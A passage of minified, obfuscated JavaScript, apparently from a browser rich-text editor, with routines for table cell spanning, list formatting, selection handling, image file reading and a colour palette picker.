function(o){o[a[301]]();if(!(1&&d._)(g._)){return};var p=!m._[a[123]](o[a[102]]);if(p|| qt(g._,a[402])|| h._[qn(a[903],g._)]){if(j._[a[5]](qn(a[849],l._))){j._[a[5]](qn(a[849],l._))[a[5]](a[904])[a[132]]();return};var r=(1&&f._)(n._,l._,hb());(1&&k._)(r);return};var q={};q[a[342]]= hc(l,b,n,k);(1&&c._)(m._,q)}}function yX(b){b._= a[531]}function yY(c,b){c._[a[345]]= b._}function yZ(b){b._[a[15]][a[14]]= a[347]}function za(c,b){c._[a[64]]= qn(a[346],b._)}function he(k,f,j,g,h,d,b,c){return function(){(1&&f._)(k._);if(j._){var l={};l[a[342]]= hf(g,h,d);(1&&b._)(k._,l)}else {(1&&c._)(g._)}}}function zb(a){a._= true}function hh(d,c,f,b){return function(){if(qt(d._,c._)){return};b._[a[39]](f._[a[42]](c._,d._))}}function zc(a,b){a._= qn(b._,1)}function zd(a,b){a._= qn(b._,1)}function ze(a,b){a._= qn(b._,1)}function zf(a,b){a._= qn(b._,1)}function zg(a){a._= 0}function hi(b){return function(){b._[a[918]]= true}}function hj(j,n,k,p,g,l,d,f,h,o,m,b,c){return function(){var t={},q={};if(qz(j._,n._)){return};t._= (1&&g._)(j._,k._,p._);;if(!t._){qK()[a[206]](qn(j._,a[919]));return};t._[a[69]](l._[a[86]],(1&&d._)(j._));t._[a[69]](a[920],k._);t._[a[98]](a[101],hk(f,t,h));if(o._){var r=(1&&b._)(m._[a[921]],a[922],a[162]);r[a[70]](t._);var s=(1&&b._)(r,a[923]);s[a[50]]= (1&&d._)(j._);q._= t._[a[341]];;zh(t);r[a[341]]= hm(c,q);return r}else {m._[a[921]][a[70]](t._);return t._}}}function hn(p,k,l,b,h,n,g,j,o,c,f,m,q,d){return function(){var B={},A={};if(qt(p._,0)){k._[a[93]][a[92]](a[924])};zi(p);var u=(1&&b._)(l._[a[921]],a[925],a[926]);B._= ri(1);;var r=null;var v=(1&&b._)(u,a[927],a[928]);var w=(1&&b._)(u,a[929],a[854],a[22]);var D=(1&&b._)(v,a[930],a[931]);var z=(1&&b._)(v,a[932],a[926]);A._= (1&&b._)(z,a[933],a[934]);;zj(l,A,h);var s=l._;while(!s[a[939]]&& qq(n._,g._[a[40]])){zk(h,n,g);var C=h._[a[60]](a[468]);if(qi(C,-1)){j._= h._[a[42]](qn(C,1));h._= h._[a[42]](0,C)}else {j._= null};zl(n);if(qt(h._[a[40]],1)){(1&&o._)(h._);continue};var t=h._[a[61]](0);if(qt(t,a[62])){w[a[50]]= (1&&c._)(h._[a[42]](1));continue};if(qt(t,a[466])){w[a[50]]= h._[a[42]](1);continue};if(qi(s,l._)){(1&&f._)();continue};if(qz(h._,m._)){continue};var y=(1&&d._)(h._,j._,q._);if(!y){qK()[a[85]](qn(a[935],h._));continue};zm(B);if(qt(B._,0)){var E=(1&&b._)(D,a[936],a[937]);E[a[70]](y);continue};if(qt(B._,1)){r= (1&&b._)(D,a[938])};if(qs(B._,2)){r[a[70]](y)}}}}function ho(d,b,c){return function(f){var g={};g._= (1&&b._)(d._[a[921]],a[940]);;if(qt(c._,a[912])){g._[a[93]][a[92]](a[941])};zn(d,g);d._[a[921]][a[70]](g._);zo(d,g,c)}}function hp(c,b){return function(){if((qt(c._[a[945]],a[470])&& qt(b._,a[471]))|| (qt(c._[a[945]],a[914])&& qt(b._,a[455]))|| (qt(c._[a[945]],a[912])&& qt(b._,a[913]))){var d=c._[a[921]][a[946]];if(qt(c._[a[921]][a[211]][a[40]],0)){c._[a[921]][a[17]][a[28]]()};zp(c);zq(c)}}}function hq(d,c,f,b){return function(){if(qt(d._[a[945]],a[914])|| qt(d._[a[945]],a[912])){zr(c,d);if(qt(d._[a[921]][a[211]][a[40]],0)){d._[a[921]][a[28]]()};zs(d);zt(d);(1&&f._)(true)}else {(1&&b._)(d._[a[921]],a[948],a[22])}}}function hr(c,d,b){return function(){if(qt(c._[a[921]],d._)){zu(c);(1&&b._)(c._[a[921]],a[949]);return};if(qt(c._[a[921]][a[9]][a[58]](),a[933])){c._[a[921]]= (1&&b._)(c._[a[921]][a[17]],a[933],a[934])}else {}}}function hs(d,f,g,h,j,c,b){return function(k){switch(k){case a[470]:(1&&d._)();break;case a[914]:;case a[912]:(1&&f._)();break;case a[471]:;case a[455]:;case a[913]:(1&&g._)();break;case a[915]:(1&&h._)();break;case a[916]:(1&&j._)();break;case a[469]:(1&&c._)();break;default:(1&&b._)();break}}}function ht(c,f,b,d,g){return function(){while(qq(f._,b._[a[40]])){zv(c,f,b);var h=c._[a[60]](a[468]);if(qi(h,-1)){d._= c._[a[42]](qn(h,1));c._= c._[a[42]](0,h)}else {d._= null};zw(f);(1&&g._)(c._);continue}}}function zx(b){b._[a[21]]= a[22]}function zy(b){b._[a[15]][a[18]]= a[19]}function zz(b){b._[a[950]]= null}function zA(b){b._[a[15]][a[951]]= a[80]}function zB(b){b._[a[15]][a[604]]= a[952]}function zC(b){b._[a[15]][a[953]]= a[954]}function zD(b){b._[a[15]][a[18]]= a[708]}function hw(b){return function(){b._[a[15]][a[604]]= a[22]}}function zE(c,b){c._[a[950]]= b._}function zF(c,b){c._[a[956]]= b._}function zG(c,b){c._[a[958]]= b._}function zH(b,c){if(qj(b._[a[961]],c._)){b._[a[15]][a[18]]= c._?a[22]:a[19];b._[a[961]]= c._}}function zI(c,b){c._= b._= a[978]}function zJ(c,b){c._= b._= a[978]}function hF(b){return function(d){for(var c=0;qq(c,b._[a[40]]);c++){b._[c][a[15]][a[494]]= d}}}function hG(b){return function(d){for(var c=0;qq(c,b._[a[40]]);c++){b._[c][a[15]][a[693]]= d}}}function hH(b){return function(c){b._[a[15]][a[494]]= c}}function hI(b){return function(c){b._[a[15]][a[693]]= c}}function zK(c,b){c._[a[15]][a[377]]= b._[a[378]]}function zL(b){b._[a[15]][a[377]]= a[22]}function zM(c,b){c._[a[15]][a[377]]= b._[a[378]]}function zN(b){b._[a[15]][a[377]]= a[22]}function hJ(){return function(){}}function hK(){return function(){}}function hL(){return function(){}}function zO(b){b._[a[286]]= a[747]}function zP(b){b._[a[815]]= a[816]}function hM(c,b){return function(){(1&&b._)(c._[a[423]][0])}}function hN(){return function(b){return b[a[107]]()}}function hO(){return function(b){return b[a[58]]()}}function zQ(b){b._[a[15]][a[1009]]= b._[a[15]][a[493]]= a[22]}function zR(b){b._[a[15]][a[701]]= a[22]}function zS(b,c){b._[a[15]][a[125]]= qn(c._,a[1017])}function zT(b){b._[a[15]][a[25]]= a[22]}function zU(b){b._[a[15]][a[701]]= a[22]}function zV(b,c){b._[a[15]][a[125]]= c._}function zW(b){b._[a[15]][a[25]]= a[22]}function zX(a){a._++}function zY(b,d,c){if(qv(d._[a[411]][b._][a[1021]],1)){c._+= qo(d._[a[411]][b._][a[1021]],1)}}function zZ(a,b){if(qv(a._,b._)){b._= a._}}function Aa(a){ln= a._}function Ab(c,d,b){c._= qn(d._+ a[468],b._)}function Ac(a){a._++}function Ad(c,b){c._[a[1023]]= b._}function Ae(c,b){c._[a[1024]]= b._}function Af(b,c){b._[a[1025]]= c._}function Ag(d,f,h,l,g,b,j,c,k,m){f._[d._]= g._[qn(h._+ a[468],l._)]= {rowindex:h._,colindex:b._,rowspan:j._,colspan:c._,td:k._,tr:m._,tdindex:l._,spannodes:null}}function Ah(b,a){if(qw(b._,a._)){}}function Ai(d,g,b,c,f){if(!d._){c._[qn(g._+ a[468],b._)]= d._= {rowindex:g._,colindex:b._,spannodes:[]}}else {f._++}}function Aj(b,a){if(!b._){a._++}}function hU(b){return function(c){return b._[qn(c[a[1023]]+ a[468],c[a[1024]])]}}function Ak(b,a){a._[b._]= true}function Al(b,a){a._[b._]= true}function Am(c,b){c._= b._[a[861]]}function hV(b,c,d){return function(k,m){var l={},o={};var j=b._;l._= {};;for(var f=0;qq(f,b._);f++){var h=c._[qn(k+ a[468],f)];if(h&& h[a[1028]]){for(var g=0;qq(g,h[a[1028]][a[40]]);g++){var n=h[a[1028]][g];if(qt(n[a[1023]],k)){continue};o._= qn(n[a[1023]]+ a[468],n[a[1024]]);;if(l._[o._]){continue};An(o,l);n[a[69]](a[1026],qn(1,qW()[a[111]](1,qZ()(n[a[87]](a[1026]))|| 1)));j-= qW()[a[111]](1,qZ()(n[a[87]](a[1027]))|| 1)}}};var p=d._[a[1034]](k);for(var g=0;qq(g,j);g++){p[a[1022]](ri(1))}}}function hW(f,d,c,g,b){return function(l,s){var r={},t={},h={},v={},w={},p={},o={};var m=f._;r._= {};;t._= 0;for(;qq(t._,f._);t._++){var k=d._[qn(t._+ a[468],l)];(1&&c._)(k);if(k&& k[a[1028]]){h._= false;;for(var j=0;qq(j,k[a[1028]][a[40]]);j++){var u=k[a[1028]][j];if(qt(u[a[1024]],l)){continue};v._= qn(u[a[1023]]+ a[468],u[a[1024]]);;if(r._[v._]){Ao(h);continue};Ap(v,r);u[a[69]](a[1027],qn(1,qW()[a[111]](1,qZ()(u[a[87]](a[1027]))|| 1)));Aq(h)};if(h._){continue}};w._= a[104];;Ar(w,t,g);var u=g._[a[63]][a[13]](w._);var q=g._[a[1020]][t._];p._= null;;if(k&& k[a[861]]){p._= k[a[861]]}else {for(var n=l;qq(n,b._);n++){o._= d._[qn(t._+ a[468],n)];;if(!o._|| !o._[a[861]] || qi(o._[a[861]][a[17]],q)){continue};As(p,o);break}};q[a[16]](u,p._)}}}function At(c,b){c._= b._[a[861]]}function hX(h,f,g,d,c,b){return function(){var j={};j._= 0;;for(var m=h._;qq(m,f._);m++){for(var k=g._;qq(k,d._);k++){var l=c._[qn(m+ a[468],k)];if(!l){return false};if(l[a[1028]]&& qv(l[a[1028]][a[40]],1)){return false};Au(j)}};var p=0;for(var o=0;qq(o,b._[a[40]]);o++){var n=b._[o];p+= qm(qW()[a[111]](1,n[a[87]](a[1026])|| 1),qW()[a[111]](1,n[a[87]](a[1027])|| 1))};if(qi(p,j._)){return false};return true}}function Av(c,b){if(qi(c._,b._)){c._[a[1037]]= true}}function Aw(b,c){b._[a[50]]= c._}function hZ(a,b,c){return function(){(1&&a._)();(1&&c._)(b._)}}function ia(f,g,d,b,c){return function(){qJ()(f._[a[1044]]);f._[a[1044]]= rc()(ib(f,g,d,b,c),10)}}function ic(b,c){return function(){qJ()(b._[a[1044]]);b._[a[1044]]= rc()(id(c),10)}}function ih(b,a){return function(c){(1&&a._)(c,b._)}}function ij(b,d,c){return function(g){var j=b._[a[238]]();try{var h=d._[a[17]];for(var f=0;qq(f,h[a[211]][a[40]]);f++){if(qt(h[a[211]][f],d._)){j[a[1059]](h,f);j[a[1060]](h,qn(f,1));c._[a[209]]();c._[a[312]](j);b._[a[229]](g);break}}}catch(e){}}}function ik(b){return function(){(1&&b._)(a[395])}}function il(b){return function(){(1&&b._)(a[397])}}function im(b){return function(){(1&&b._)(a[409])}}function io(b,a){return function(){(1&&a._)(b._)}}function ip(c,b){return function(d){(1&&b._)(d,a[22],a[22],a[1065],iq(c));(1&&b._)(d,a[22],a[22],a[1066],ir(c))}}function is(b,a){return function(){(1&&a._)(b._)}}function AA(b){b._[a[21]]= a[1070]}function AB(b){b._[a[109]]= b._[a[1071]]}function iu(a,b){return function(){(1&&a._)();AC(b)}}function iv(d,c,f,b){return function(g){(1&&b._)(g,a[1072],a[1072],a[1073],iw(d,c,f))}}function AE(b){b._[a[334]]= onclose}function iy(b,a){return function(c){(1&&a._)(c,b._)}}function AF(c,b){c._[a[334]]= b._}function iA(b){return function(c){var d={};d._= c;AG(b,d);b._[a[50]]= qn(a[470]+ d._[a[9]][a[58]](),a[471]);b._[a[93]][a[92]](a[855]);AH(b)}}function iB(b){return function(c){b._[a[93]][a[28]](a[855]);AI(b)}}function AJ(b){b._[a[1078]]= iC(a,b)}function iD(b){return function(){b._[a[1076]][a[69]](a[1079],a[22])}}function iE(b,c){return function(){if(!b._){c._[a[1076]][a[88]](a[1079])}}}function iF(c,f,d,b){return function(){if(c._){return};f._[a[1076]][a[69]](a[1079],a[22]);AK(d);(1&&b._)(f._[a[1076]],f._,iG(d,f))}}function AM(a,b){a._= b._}function AN(b,a){b._= a._}function AO(b,a){b._= a._}function AP(a){a._= true}function AQ(c,b){c._[a[21]]= b._[a[1084]]}function AR(b,c){b._[a[1084]]= c._[a[21]]}function AS(a,b){a._= b._[0]}function AT(b,c){b._= c._[qo(c._[a[40]],1)]}function AU(b,d,f,c){if(b._[a[1086]]&& qv(d._[a[40]],b._[a[1086]])){f._= true}else {if(b._[a[1087]]&& qv(c._[a[50]][a[40]],b._[a[1087]])){f._= true}}}function AV(b){b._[a[1089]]= true}function AW(b){b._[a[40]]= 0}function AX(a,b,c){a._= {html:b._,time:c._}}function AY(b,c){b._[a[1084]]= c._}function AZ(b,c){b._[a[1090]]= c._}function Ba(b,c){b._[a[406]]= c._}function Bb(b,c){b._[a[1094]]= c._}function Bc(b,c){b._[a[80]]= c._[a[109]]}function Bd(b){b._[a[1096]]= b._[a[1097]]}function Be(b,c){b._[a[1097]]= c._}function Bf(b){b._[a[314]]= b._[a[1093]]}function Bg(b,c){b._[a[1093]]= c._}function Bh(b){b._[a[40]]= 0}function Bi(b){b._[a[40]]= 0}function Bj(b,c){b._[a[21]]= qn(a[1100]+ c._,a[1101])}function Bk(c,d,b){c._[a[1108]]= qn(qn(a[1109]+ d._,a[106])+ b._,a[1110])}function Bl(b){b._[a[286]]= a[747]}function iX(c,b){return function(){var f={};var d=c._[a[423]][0];if(!d){return};f._= new (qQ())();;f._[a[1112]](d);f._[a[1113]]= iY(f,b)}}function iZ(b,c){return function(){c._[a[29]](b._)}}function Bm(b){b._= b._[a[17]]}function Bn(b){if(qi(b._[a[236]],1)){b._= b._[a[17]]}}function Bo(b){b._= b._[a[17]]}function Bp(b){if(qi(b._[a[236]],1)|| qt(b._[a[9]],a[212])|| qt(b._[a[9]],a[290])){b._= b._[a[17]]}}function jm(b){return function(c){var d={};d._= c;if(!d._|| qt(d._,b._) || !d._[a[1118]] || !b._[a[123]](d._) || d._[a[21]]){return};while(qi(d._[a[17]],b._)){if(qv(d._[a[17]][a[211]][a[40]],1)){d._[a[17]][a[29]](d._);return};Bq(d)};b._[a[29]](d._)}}function Br(a){a._= true}function Bs(b){b._[a[21]]= a[1070]}function Bt(a,b){a._= b._}function Bu(a,b){a._= b._}function Bv(a,b){a._= b._}function Bw(a,b){a._= b._}function Bx(a,b){a._= b._}function By(a,b){a._= b._}function Bz(a,c,b){if(qt(a._,c._)){a._= b._}}function BA(a,c,b){if(qt(a._,c._)){a._= b._}}function jt(c,b){return function(g){var f=0;for(var d=0;qq(d,c._[a[211]][a[40]]);d++){if(qt(c._[a[211]][d],b._)){f= d}};if(qs(g,f)){return g};return qo(g,1)}}function jw(c,d,f,g,b){return function(){if(qi(c._,d._)){if(c._[a[123]](d._)){for(var j=0;qq(j,f._);j++){if(c._[a[211]][j][a[123]](d._)){return true}};return false}else {if(d._[a[123]](c._)){for(var j=0;qq(j,g._);j++){if(d._[a[211]][j][a[123]](c._)){return false}};return true}};var h=(1&&b._)(c._,d._);if(qq(h,0)){return true};if(qv(h,0)){return false}};if(qv(f._,g._)){return true};return false}}function BB(a,g,b,c,d,f){if(a._){g._= b._;b._= c._;c._= g._;g._= d._;d._= f._;f._= g._}}function BC(b){b._= b._[a[17]]}function BD(b){b._= b._[a[17]]}function BE(b,a,d,c){if(qt(b._,a._)){d._-= c._}}function BF(b){b._= b._[a[17]]}function BG(a){a._= true}function BH(b){b._= b._[a[17]]}function BI(b){b._= b._[a[17]]}function BJ(b){b._= b._[a[17]]}function BK(a){a._= true}function BL(b){b._= b._[a[17]]}function BM(b){b._= b._[a[17]]}function jx(d,f,c,g,b){return function(j,k){if(qt(j,d._)&& qt(k,f._)){return};for(var h=j[a[211]];qq(k,h[a[40]]);k++){if(qt(j,d._)&& qt(k,f._)){return};var l=h[k];if(qt(l[a[236]],3)){(1&&c._)(l);continue};if(qt(l,d._)|| l[a[123]](d._)){(1&&g._)(l,0);return}else {(1&&c._)(l)}};if(qt(j,d._)&& qt(k,f._)){return};if(j[a[17]]){(1&&g._)(j[a[17]],qn((1&&b._)(j),1))}else {}}}function jz(b,c){return function(h){var f={},k={};var g=h[a[211]];var d=[];for(var j=0;qq(j,g[a[40]]);j++){d[a[39]](g[j])};for(var j=0;qq(j,d[a[40]]);j++){f._= d[j];;if(qt(f._[a[236]],3)){k._= (1&&b._)(f._[a[82]]);;BN(f,k)};if(qt(f._[a[236]],1)){(1&&c._)(f._)}}}}function jA(c,b){return function(d){var g={},f={};g._= d;if(qt(g._[a[236]],1)){(1&&c._)(g._)};if(qt(g._[a[236]],3)){f._= (1&&b._)(g._[a[82]]);;BO(g,f)}}}function jC(d,b,c){return function(h){if(qi(h[a[236]],1)){if(qt(h[a[236]],3)){d._[a[39]](h)};return};if(!(1&&b._)(h)){d._[a[39]](h);return};var f=h[a[211]];for(var g=0;qq(g,f[a[40]]);g++){(1&&c._)(f[g])}}}function jE(j,c,b,g,k,h,f,d){return function(){var m={};m= jF(f,d);var l=true;for(var n=0;l&& qq(n,j._[a[40]]);n++){var r=j._[n];if(r[a[82]][a[20]]()){l= false}};for(var n=0;l&& qq(n,c._[a[40]]);n++){var q=(1&&b._)(c._[n]);for(var o=0;l&& qq(o,q[a[40]]);o++){var p=q[o];if(qt(p[a[236]],3)|| !(1&&g._)(p)){l= false}}};if(l){for(var n=0;qq(n,c._[a[40]]);n++){if(k._){(1&&h._)(c._[n]);continue};var q=(1&&b._)(c._[n]);for(var o=0;l&& qq(o,q[a[40]]);o++){(1&&h._)(q[o])}}}else {for(var n=0;qq(n,c._[a[40]]);n++){if(k._){m(c._[n]);continue};var q=(1&&b._)(c._[n]);for(var o=0;qq(o,q[a[40]]);o++){m(q[o])}};for(var o=0;qq(o,j._[a[40]]);o++){if(j._[o][a[82]][a[20]]()){(1&&f._)(j._[o])}}}}}function jG(b,c){return function(d){if(qt(d[a[236]],1)){b._[a[39]](d)};if(qt(d[a[236]],3)&& d[a[82]][a[20]]()){c._[a[39]](d)}}}function jI(b,c){return function(d){if(qt(d[a[236]],1)){b._[a[39]](d)};if(qt(d[a[236]],3)){c._[a[39]](d)}}}function jK(b){return function(c){return c[a[93]][a[123]](b._)}}function jM(b){return function(c){return c[a[93]][a[123]](b._)}}function jN(d,f,c,b){return function(g){g[a[93]][a[28]](d._);var h=g[a[211]];for(var j=0;qq(j,h[a[40]]);j++){if(qt(h[j][a[236]],1)){(1&&f._)(h[j])}};if(qt(g[a[9]],a[288])&& !g[a[81]][a[40]]){(1&&c._)(g);(1&&b._)(g)}}}function jO(c,b){return function(d){var f=d[a[211]];for(var g=0;qq(g,f[a[40]]);g++){if(qt(f[g][a[236]],1)){(1&&c._)(f[g])}};d[a[93]][a[92]](b._)}}function jP(c,b){return function(f){var d={};d._= c._[a[13]](a[517]);;f[a[17]][a[16]](d._,f);d._[a[70]](f);BP(d,b)}}function jR(){return function(a){return true}}function jS(f,d,b,c){return function(g){if(qi(g[a[236]],1)){return};f._[a[988]](g,0);f._[a[989]](g,g[a[211]][a[40]]);d._[a[229]](a[536]);var k=g[a[369]](a[1121]);k= (1&&b._)(k);k[a[39]](g);for(var j=0;qq(j,k[a[40]]);j++){var h=k[j];if(qt(h[a[9]],a[288])){h[a[88]](a[15]);h[a[88]](a[477]);if(!h[a[81]][a[40]]){(1&&c._)(h)}}else {if(qu(h[a[87]](a[15]),a[22])){h[a[88]](a[15])}}}}}function jT(a){return function(b){(1&&a._)(b)}}function jU(){return function(a){}}function jW(b,c){return function(d){return qt(d[a[15]][b._],c._)}}function jY(b,c){return function(d){return qt(d[a[15]][b._],c._)}}function jZ(f,d,c,b){return function(k){var g={};g._= k;BQ(f,g);if(!g._[a[15]][a[14]]){g._[a[88]](a[15])};var h=g._[a[211]];for(var j=0;qq(j,h[a[40]]);j++){if(qt(h[j][a[236]],1)){(1&&d._)(h[j])}};if(qt(g._[a[9]],a[288])&& !g._[a[81]][a[40]]){(1&&c._)(g._);(1&&b._)(g._)}}}function ka(b,c,d,f){return function(k){var g={};g._= k;var h=g._[a[211]];for(var j=0;qq(j,h[a[40]]);j++){if(qt(h[j][a[236]],1)){(1&&b._)(h[j])}};BR(c,g);BS(g,d,f)}}function kb(b,c,f,d){return function(h){var g={};g._= b._[a[13]](a[517]);;h[a[17]][a[16]](g._,h);g._[a[70]](h);BT(c,g,f);BU(g,d,f)}}function kd(l,j,c,m,d,k,b,g,f,h){return function(){var t={},n={},o={};var q={};q= ke(m,j,o,d,k,b,g,f);o._= q;if(l._[a[410]]&& !j._[a[40]]){if(!l._[a[241]]){return};j._[a[39]](l._[a[241]])};if(!j._[a[40]]){return};t._= j._[0];;BV(t);while(t._){n._= true;;for(var p=0;qq(p,j._[a[40]]);p++){if(!t._[a[123]](j._[p])){BW(n);break}};if(n._){break};BX(t)};if(!t._){return};t._= (1&&c._)(t._);var v=[];for(var p=0;qq(p,j._[a[40]]);p++){var s=j._[p];for(;qi(s,t._);s= s[a[17]]){if(qt(s[a[17]],t._)){if(qt(v[a[60]](s),-1)){v[a[39]](s)};break}}};if(!v[a[40]]){return};if(qt(t._[a[9]],a[324])|| qt(t._[a[9]],a[323])){for(var u=0;qq(u,v[a[40]]);u++){var r=v[u];(1&&o._)(r[a[211]])}}else {(1&&o._)(v)};(1&&h._)();return true}}function kg(b){return function(c){b._[a[39]](c)}}function kh(a,b){return function(){BY(a);if((1&&b._)()){return};BZ(a)}}function kj(b){return function(c){b._[a[39]](c)}}function kk(g,h,b,j,c,f,d,k){return function(){var z={},l={},y={},y={},n={},v={},B={},A={};var r={};var q={};r= kl(y,v,d,j,B,A);q= km(y,v,d,j);if(!g._[a[40]]){return};z._= g._[0];;Ca(z);while(z._){l._= true;;for(var p=0;qq(p,g._[a[40]]);p++){if(!z._[a[123]](g._[p])){Cb(l);break}};if(l._){break};Cc(z)};if(!z._){return};var C=[];for(var p=0;qq(p,g._[a[40]]);p++){y._= g._[p];;for(;qi(y._,z._);y._= y._[a[17]]){if(qt(y._[a[17]],z._)){if(qt(C[a[60]](y._),-1)){C[a[39]](y._)};break}}};if(!C[a[40]]){return};var D=qt(h._,a[553])?a[323]:a[324];if(qt(z._[a[9]],a[324])|| qt(z._[a[9]],a[323])){if(qi(D,z._[a[9]])){return};for(var p=0;qq(p,C[a[40]]);p++){var t=C[p];var s=null;var o=(1&&b._)(t[a[211]]);for(var m=0;qq(m,o[a[40]]);m++){n._= o[m];;Cd(n)}};return false}else {v._= qM()[a[13]](D);;z._[a[16]](v._,C[0]);for(var p=0;qq(p,C[a[40]]);p++){y._= C[p];;if(qt(y._[a[236]],3)&& !y._[a[82]][a[20]]()|| qt(y._[a[9]],a[212])){z._[a[29]](y._);continue};var w=y._[a[9]];if(qt(w,a[324])|| qt(w,a[323])){while(y._[a[83]]){v._[a[70]](y._[a[83]])};z._[a[29]](y._);continue};var u=j._[a[13]](a[325]);u[a[70]](y._);v._[a[70]](u);if(qt(w,a[316])|| qt(w,a[292])){(1&&c._)(y._,u);(1&&f._)(y._)}};B._= 0;;A._= v._[a[211]][a[40]];;r();q();k._[a[988]](v._,B._);k._[a[989]](v._,A._);return true}}}function Cq(c,b){while(c._[a[17]]&& qi(c._[a[17]],b._)){c._= c._[a[17]]}}function Cr(b){b._= b._[a[393]]}function Cs(a){a._= false}function Ct(b,c){b._[a[21]]= c._}function Cu(b){b._[a[15]][a[1010]]= a[540]}function kw(g,f,b,c,d,h){return function(j){Cv(g,f);(1&&b._)();var k=c._[a[445]]|| rh()[a[446]];if(k){k(d._,kx(g,b,h))}}}function ky(b,d,f,c,g){return function(k,h){var j={};if(k){j._= (1&&b._)(a[274])|| (1&&d._)(a[274]);;Cx(j,f);j._[a[69]](a[197],k);(1&&c._)();return};if(h){if(!(1&&g._)(a[448],a[449],String(h))){qD()(qn(a[450],h))}}else {qK()[a[206]](a[1133])}}}function Cy(a,b){a._= b._}function Cz(c,b){c._[a[839]]= qn(a[1137],b._)}function CA(b,c){b._[a[21]]= c._}function kK(b,f,d,c){return function(j,g,h){var k=(1&&b._)(h);if(qt(k[0],a[469])){k= qn(f._,k[a[42]](1))};return qn(qn(g+ a[478],d._)+ (1&&c._)(k),d._)}}function CC(b){b._= a[7]}function CD(b){b._= a[474]}function kM(b,f,d,c){return function(j,g,h){var k=(1&&b._)(h);if(qi(k[a[60]](a[1141]),-1)&& qt(k[a[42]](0,f._[a[40]]),f._)){k= k[a[42]](qo(f._[a[40]],1))};return qn(qn(g+ a[478],d._)+ (1&&c._)(k),d._)}}function CE(b){b._= a[7]}function CF(b){b._= a[474]}function kO(d,c,b){return function(){var f=c._[qo(d._,1)];if((1&&b._)(f[a[9]])){if(!f[a[83]]){return};if(qt(f[a[211]][a[40]],1)&& qt(f[a[83]][a[9]],a[212])){return}};return true}}function CG(b,c){b._[a[89]]= c._}function kU(a,b){return function(c){b._[a[50]]= c}}function CT(b){if(qt( typeof (b._),a[1167])){b._= true}}function CU(a,b){a._= !!b._}function CV(c,b){c._[a[190]][a[193]]= b._?a[1168]:a[194]}function CW(b,c){if(b._){b._[a[303]]= c._}}function Dh(b,c){b._[a[741]]= c._}function DB(b){b._[a[1200]]= true}function DC(b){b._[a[15]][a[18]]= a[19]}function DD(b){b._[a[15]][a[18]]= a[708]}function DE(b){b._[a[1200]]= true}function DF(b){b._[a[15]][a[18]]= a[708]}function DG(b){b._[a[15]][a[18]]= a[19]}function ld(b,d,g,f,c){return function(k){var j={};j._= k;if(qt(b._,j._)){return};if(qi(b._,-1)){d._[b._][a[93]][a[28]](a[855]);DH(b,g)};DI(b,j);d._[b._][a[93]][a[92]](a[855]);DJ(b,g);var h=f._[j._];if(h){DK(j,f);h(g._[b._])};var h=c._[j._];if(h){h(g._[b._])}}}function le(j,b,k,f,h,g,d,c){return function(o,n,q,l){var p={};var m=(1&&b._)(j._,a[1208],null,n);var r=(1&&b._)(k._,a[1209],a[1210],n);p._= f._[a[40]];;f._[a[39]](m);h._[a[39]](r);g._[a[39]](q);d._[a[39]](l);if(qA(o,HTMLElement)|| qA(o,DocumentFragment)){m[a[70]](o)}else {m[a[50]]= o};if(qt(p._,0)){(1&&c._)(p._)}else {r[a[15]][a[18]]= a[19]};m[a[341]]= lf(p,c);return r}}function DL(b){b._[a[779]]= lh()}function DM(d,b,c){d._[a[741]]= b._[a[1216]]|| qn(a[1217],c._[a[2]])}function lk(c,d,b){return function(f){DN(c);if(qt(f[a[40]],0)){(rh()[a[1222]]|| rh()[a[1223]])(a[1221]);return};(1&&b._)(f,d._)}}function ll(b,c,a){return function(d){DO(b);(1&&a._)(c._)}}function lm(b){return function(){b._[a[97]]()}}function lo(j,f,d,g,h,c,b){return function(k){if(j._&& (1&&d._)(k[a[426]],k,f._)){g._[a[132]]();return};rc()(lp(f,h,g,c,b),10)}}function DP(b){b._[a[15]][a[14]]= a[1232]}function DQ(b){b._= b._[a[17]]}function DR(b){b._[a[50]]= qn(a[34],a[468])}function DS(b){b._[a[286]]= a[430]}function ls(b,c){return function(){c._[a[69]](a[741],b._[a[89]])}}function DT(b){b._[a[286]]= a[430]}function lw(a,b,c){return function(){rc()(lx(a,b,c),10)}}function ly(g,f,b,c,d){return function(){var j={},h={};j._= g._[a[89]][a[20]]();;if(!j._){return};h._= qM()[a[13]](a[12]);;DX(h,j);if(!h._[a[15]][a[494]]){DY(g);return};(1&&f._)(j._);if(b._){(1&&c._)(j._);(1&&b._)(j._);DZ(b)};d._[a[132]]()}}function lz(b){return function(){b._[a[97]]()}}function lA(b){return function(){b._[a[341]]()}}function lB(b,c){return function(n){var g={},o={},f={},h={},q={},s={};var k={};var l={};var m={};k= lC();l= lD(g);m= lE(o);g._= k;o._= l;f._= new (qE())(216);;for(var t=0;qq(t,6);t++){for(var p=0;qq(p,6);p++){for(var r=0;qq(r,6);r++){h._= m(t,p,r);;q._= qn((qk(t,2))* 6,p);;s._= qn(qW()[a[262]](qp(t,2))* 6,r);;Ed(s,q,f,h)}}};var d=[];for(var j=0;qq(j,f._[a[40]]);j++){if(qt(j% 12,0)){d[a[39]](a[1252])};d[a[39]](a[1253]);d[a[39]](f._[j]);d[a[39]](a[1254]);d[a[39]](f._[j]);d[a[39]](a[1255]);d[a[39]](f._[j]);d[a[39]](a[1256]);d[a[39]](f._[j]);d[a[39]](a[1257]);if(qt(j% 12,11)){d[a[39]](a[1258])}};n[a[21]]= qn(a[1259]+ d[a[108]](a[22]),a[1260]);n[a[341]]= lF(b,c)}}function lG(b,c,d,f,g){return function(o){var j=[{n:a[1264],h:a[1265]},{n:a[1266],h:a[1267]},{n:a[1268],h:a[1269]},{n:a[1270],h:a[1271]},{n:a[1272],h:a[1273]},{n:a[1274],h:a[1275]},{n:a[1276],h:a[1277]},{n:a[1278],h:a[1279]},{n:a[1280],h:a[1281]},{n:a[687],h:a[1282]},{n:a[1283],h:a[1284]},{n:a[688],h:a[1285]},{n:a[1286],h:a[1287]},{n:a[1288],h:a[1289]},{n:a[1290],h:a[1291]},{n:a[1292],h:a[1293]}];var 